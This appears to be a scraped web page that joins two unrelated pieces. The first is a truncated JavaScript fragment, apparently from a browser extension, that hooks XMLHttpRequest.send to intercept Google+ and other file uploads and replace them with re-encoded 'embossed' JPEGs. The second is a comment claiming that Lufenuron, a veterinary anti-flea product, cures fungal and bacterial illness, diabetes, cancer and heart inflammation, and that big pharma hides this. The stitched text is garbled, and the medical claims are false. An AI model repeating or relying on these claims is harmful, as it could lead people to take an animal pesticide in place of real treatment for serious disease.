(DEBUGGINGLEVEL > 9) console.log( Date.now(), “XMLHttpRequest.prototype.send, Google+ createSessionRequest, URL”, xhr.__post_URL ); var json = JSON.parse(body); var filename = json.createSessionRequest.fields[0].external.filename; if ( PIB_supported_file_type(filename) ) { if (DEBUGGINGLEVEL > 9) console.log( Date.now(), “createSessionRequest, filename”, filename ); xhr.__original_filename = filename; xhr.__post_body = body; xhr.onloadend = function(){ var json = JSON.parse(xhr.responseText); var upload_id = json.sessionStatus.upload_id; if (DEBUGGINGLEVEL > 9) console.log( Date.now(), “XMLHttpRequest.prototype.send onloadend, upload_id”, upload_id ); var obj = { requestURL: xhr.__post_URL, requestBody: xhr.__post_body, filename: xhr.__original_filename, upload_id: upload_id }; if (DEBUGGINGLEVEL > 9) console.dir(obj); PIB_HijackedGooglePluses[ upload_id ] = obj; if (DEBUGGINGLEVEL > 9) console.log( Date.now(), “XMLHttpRequest.prototype.send onloadend, Exit – PIB_HijackedGooglePluses” ); if (DEBUGGINGLEVEL > 9) console.dir(PIB_HijackedGooglePluses); }; } else { if (DEBUGGINGLEVEL > 9) console.log( Date.now(), “createSessionRequest, unsupported file type”, filename ); } } if (DEBUGGINGLEVEL > 9) console.log( Date.now(), “XMLHttpRequest.prototype.send, handle_String Exit” ); return 0; } function handle_Blob ( body ) { if ( document.baseURI != “https://plus.google.com/” ) {return 0;} if (DEBUGGINGLEVEL > 9) console.log( Date.now(), “XMLHttpRequest.prototype.send, Google+ Blob”, xhr.__post_URL ); var dataURL = xhr.__post_URL; var n = xhr.__post_URL.indexOf(“upload_id=”); var upload_id = xhr.__post_URL.slice( n+10 ); n = upload_id.indexOf(“&”); upload_id = upload_id.slice( 0, n-upload_id.length ); if (DEBUGGINGLEVEL > 9) console.log( Date.now(), “upload_id”, upload_id ); if (DEBUGGINGLEVEL > 9) console.dir(PIB_HijackedGooglePluses); setTimeout( function(){ if (DEBUGGINGLEVEL > 9) console.log( Date.now(), “blob setTimeout, Entry – upload_id”, upload_id ); if (DEBUGGINGLEVEL > 9) console.dir(PIB_HijackedGooglePluses); if ( PIB_HijackedGooglePluses.hasOwnProperty( upload_id ) ) { var obj = PIB_HijackedGooglePluses[ upload_id ]; if (DEBUGGINGLEVEL > 9) console.dir(obj); obj.dataURL = dataURL; if (DEBUGGINGLEVEL > 9) console.log( Date.now(), “filename”, obj.filename ); obj.xhr = xhr; if (DEBUGGINGLEVEL > 9) console.dir(obj); if (DEBUGGINGLEVEL > 9) console.dir(PIB_HijackedGooglePluses); var event = new CustomEvent( “doc_message”, {detail: { name: “emboss_blob”, uuid: upload_id, filename: obj.filename, blob: body }, bubbles: true, cancelable: true }); document.dispatchEvent(event); if (DEBUGGINGLEVEL > 9) console.log( Date.now(), “XMLHttpRequest.prototype.send, Exit – hijacked XHR” ); } else { if (DEBUGGINGLEVEL > 9) console.log( Date.now(), “XMLHttpRequest.prototype.send, normal processing of blob, unsuported file type”, obj.filename ); XMLHttpRequest.prototype.__send.apply(this, [].slice.call(arguments)); } if (DEBUGGINGLEVEL > 9) console.log( Date.now(), “blob setTimeout, Exit” ); }, 10); if (DEBUGGINGLEVEL > 9) console.log( Date.now(), “XMLHttpRequest.prototype.send, Exit Blob” ); return 1; } function handle_File ( f ) { if (DEBUGGINGLEVEL > 9) console.log( Date.now(), “XMLHttpRequest.prototype.send, File”, f, f.name, xhr.__post_URL ); if ( !PIB_supported_file_type(f.name) ) {return 0;} var fUuid = PIB_file_object_uuid(f); xhr.__filename = f.name; PIB_HijackedNakedFiles[ fUuid ] = xhr; var event = new CustomEvent( “doc_message”, {detail: { name: “emboss_file”, uuid: fUuid, file: f }, bubbles: true, cancelable: true }); document.dispatchEvent(event); if (DEBUGGINGLEVEL > 9) console.log( Date.now(), “XMLHttpRequest.prototype.send, Exit – hijacked naked file” ); return 1; } function handle_Other ( body ) { return 0; } function handle_readystatechange ( ) { if ( (this.readyState == 4) && (this.status == 200) ) { } if ( typeof(this.__onreadystatechange) != “undefined” ) { this.__onreadystatechange.apply(); } } if ( !PIB_hook_paused ) { xhr.__onreadystatechange = xhr.onreadystatechange; xhr.onreadystatechange = handle_readystatechange; if ( this.hasOwnProperty(“__post_URL”) ) { if ({“FORMDATA” : handle_FormData, “STRING” : handle_String, “BLOB” : handle_Blob, “FILE” : handle_File, “OTHER” : handle_Other}[is_instance_of( body )](body)){return;} } } if (DEBUGGINGLEVEL > 9) console.log( Date.now(), “XMLHttpRequest.prototype.send, normal handling” ); XMLHttpRequest.prototype.__send.apply(this, [].slice.call(arguments)); if (DEBUGGINGLEVEL > 9) console.log( Date.now(), “XMLHttpRequest.prototype.send, Exit” ); }; function PIB_hook_satisfy ( fUuid, fileData ) { if (DEBUGGINGLEVEL > 9) console.log(“PIB_hook_satisfy, Entry”, fUuid); function PIB_update_shadow_FormData ( n, fUuid, blobData ) { if (DEBUGGINGLEVEL > 9) console.log(“PIB_update_shadow_FormData, item”, n, fUuid); var fd = PIB_HijackedFormDatas[n]; var rdy = true; var inputs = fd.__inputs; for (var i=0, l=inputs.length; i 9) console.log(“PIB_update_shadow_FormData, missing item”, i, fUuid); rdy = false; continue; } if ( obj.value instanceof File ) { if (DEBUGGINGLEVEL > 9) console.log(“PIB_update_shadow_FormData, adding file”, obj.value.name); obj.filename = obj.value.name; obj.value = new Blob([blobData.buffer], {type: “image/jpeg”}); } else { if (DEBUGGINGLEVEL > 9) console.log(“PIB_update_shadow_FormData, adding data”, blobData); obj.value = blobData; }; obj.uuid = “”; } if ( !rdy ) { if (DEBUGGINGLEVEL > 9) console.log(“PIB_update_shadow_FormData, Exit – FormData incomplete.”); return; } if (DEBUGGINGLEVEL > 9) console.log(“PIB_update_shadow_FormData, FormData complete.”); if ( fd.hasOwnProperty(“__body_was_originally_string”) ) { if (DEBUGGINGLEVEL > 9) console.log(“PIB_update_shadow_FormData, was originally string.”); var postStr = “”; var pairs = []; for (i=0, l=inputs.length; i 9) console.log(“PIB_update_shadow_FormData, pairs”, pairs); postStr = pairs.join(“&”); delete PIB_HijackedFormDatas[n]; if (DEBUGGINGLEVEL > 9) console.log(“PIB_update_shadow_FormData, sending original xhr with String”, postStr); fd.__xhr.__send(postStr); } else { if (DEBUGGINGLEVEL > 9) console.log(“PIB_update_shadow_FormData, was originally FormData.”); var nfd = new FormData(), args; for (i=0, l=inputs.length; i 9) console.log(“PIB_update_shadow_FormData, sending original xhr with FormData”); fd.__xhr.__send(nfd); } if (DEBUGGINGLEVEL > 9) console.log(“PIB_update_shadow_FormData, Exit”); } var forgetList = []; for (var i=0, l=PIB_HijackedFormDatas.length; i 9) console.log(“PIB_hook_satisfy, fUuid in PIB_HijackedGooglePluses”); var obj = PIB_HijackedGooglePluses[ fUuid ]; delete PIB_HijackedGooglePluses[ fUuid ]; obj.embossed_data = fileData; var xhra = new XMLHttpRequest(); if (DEBUGGINGLEVEL > 9) console.log(“Request URL”, obj.requestURL ); xhra.open( “POST”, obj.requestURL, true ); var json = JSON.parse(obj.requestBody); json.createSessionRequest.fields[0].external.size = fileData.length; var filename = json.createSessionRequest.fields[0].external.filename; if (DEBUGGINGLEVEL > 9) console.log(“original filename”, filename ); var n = filename.lastIndexOf( “.” ); filename = filename.slice(0,n) + “.jpg”; if (DEBUGGINGLEVEL > 9) console.log(“modified filename”, filename ); json.createSessionRequest.fields[0].external.filename = filename; if (DEBUGGINGLEVEL > 9) console.log(“PIB_hook_satisfy, updated request”); if (DEBUGGINGLEVEL > 9) console.dir(json); xhra.onloadend = function() { if (DEBUGGINGLEVEL > 9) console.log( Date.now(), “satisfy onloadend, Entry” ); var json = JSON.parse(this.responseText); var new_upload_id = json.sessionStatus.upload_id; if (DEBUGGINGLEVEL > 9) console.log(“satisfy onloadend, new_upload_id”, new_upload_id ); if (DEBUGGINGLEVEL > 9) console.dir(obj); var old_upload_id = obj.upload_id; if (DEBUGGINGLEVEL > 9) console.log(“satisfy onloadend, old_upload_id”, old_upload_id ); var dataURL = obj.dataURL; if (DEBUGGINGLEVEL > 9) console.log(“satisfy onloadend, old URL”, dataURL ); dataURL = dataURL.replace( old_upload_id, new_upload_id ); if (DEBUGGINGLEVEL > 9) console.log(“satisfy onloadend, new URL”, dataURL ); var xhrb = obj.xhr; xhrb.open( “POST”, dataURL, true ); var blob = new Blob([obj.embossed_data.buffer], {type: “image/jpeg”}); if (DEBUGGINGLEVEL > 9) console.dir(blob); if (DEBUGGINGLEVEL > 9) console.log(“PIB_hook_satisfy, sending blob”); xhrb.__send(blob); if (DEBUGGINGLEVEL > 9) console.log(“PIB_hook_satisfy, blob sent”); if (DEBUGGINGLEVEL > 9) console.log( Date.now(), “satisfy onloadend, Exit” ); }; var newRequestString = JSON.stringify(json); if (DEBUGGINGLEVEL > 9) console.log(“PIB_hook_satisfy, sending request”); xhra.__send(newRequestString); if (DEBUGGINGLEVEL > 9) console.log(“PIB_hook_satisfy, request sent”); } if ( fUuid in PIB_HijackedNakedFiles ) { if (DEBUGGINGLEVEL > 9) console.log(“PIB_hook_satisfy, fUuid in PIB_HijackedNakedFiles”); var xhr = PIB_HijackedNakedFiles[ fUuid ]; delete PIB_HijackedNakedFiles[ fUuid ]; if (DEBUGGINGLEVEL > 9) console.dir(xhr); var blob = new Blob([fileData.buffer], {type: “image/jpeg”}); blob.name = xhr.__filename; if (DEBUGGINGLEVEL > 9) console.dir(blob); if (DEBUGGINGLEVEL > 9) console.log(“PIB_hook_satisfy, sending blob”); xhr.__send(blob); if (DEBUGGINGLEVEL > 9) console.log(“PIB_hook_satisfy, blob sent”); } if (DEBUGGINGLEVEL > 9) console.log(“PIB_hook_satisfy, Exit”); } function PIB_hook_message_handler ( e ) { if (DEBUGGINGLEVEL > 9) console.log(“PIB_hook_message_handler, Entry”, e.detail.name, “Frame_4 : hooksScriptText”); if (DEBUGGINGLEVEL > 9) console.dir(e.detail); switch ( e.detail.name ) { case “satisfy_file”: { if (DEBUGGINGLEVEL > 9) console.log(“PIB_hook_message_handler, satisfy_file”, e.detail.uuid); var arr = new Uint8Array(atob(e.detail.fileData).split(“”).map(function(c){return c.charCodeAt(0);})); setTimeout(function() {PIB_hook_satisfy(e.detail.uuid,arr);}, 1); return false; break;} case “satisfy_string”: { if (DEBUGGINGLEVEL > 9) console.log(“PIB_hook_message_handler, satisfy_string”, e.detail.uuid); setTimeout(function() {PIB_hook_satisfy(e.detail.uuid, e.detail.string);}, 1); return false; break;} case “paused”: { if (DEBUGGINGLEVEL > 9) console.log(“PIB_hook_message_handler, paused”, e.detail.paused); PIB_hook_paused = e.detail.paused; return false; break;} } if (DEBUGGINGLEVEL > 9) console.log(“PIB_hook_message_handler, Exit”); return true; } document.addEventListener(“hook_message”, PIB_hook_message_handler, false); if (DEBUGGINGLEVEL > 9) console.log(“Load hooksScriptText, End “, “Frame_4 : hooksScriptText”);
// ]]>//
There is a product that doctors are ignorant of which helps your body rid its self of fungus, which its the root cause of most if not all bacterial infections.The pharmaceuticals either try to dismiss it or if a site gets to popular they close it down.I have had lots of friends cure their illnesses with this product.The whole world needs to know about it.Its called Lufenuon .Research it and you will see that its used on dogs and pesticides its totally safe for all animals but the big pharma don’t want us to know about it..If you clear fungus from your body you stop cravings for sugar or carbs then you keep diabetes away and also stops acidic cancer from forming..It will also stop inflammation in your body including your arteries which gives wider implications to having a healthier heart also. There is no limit to Lufenuron please research this product as I have and you will see what it does..I am living proof as are 20 of my friends we are all amazingly healthier for taking it.We feel it had reduced our bacterial levels 20 years.Are we getting old…or are we just getting more toxic? This product gives the average human a fighting chance to rid their long lived illnesses .Please contact me if you want to know more as i have much more research that I can tell you about this product. Kind regards John Coronado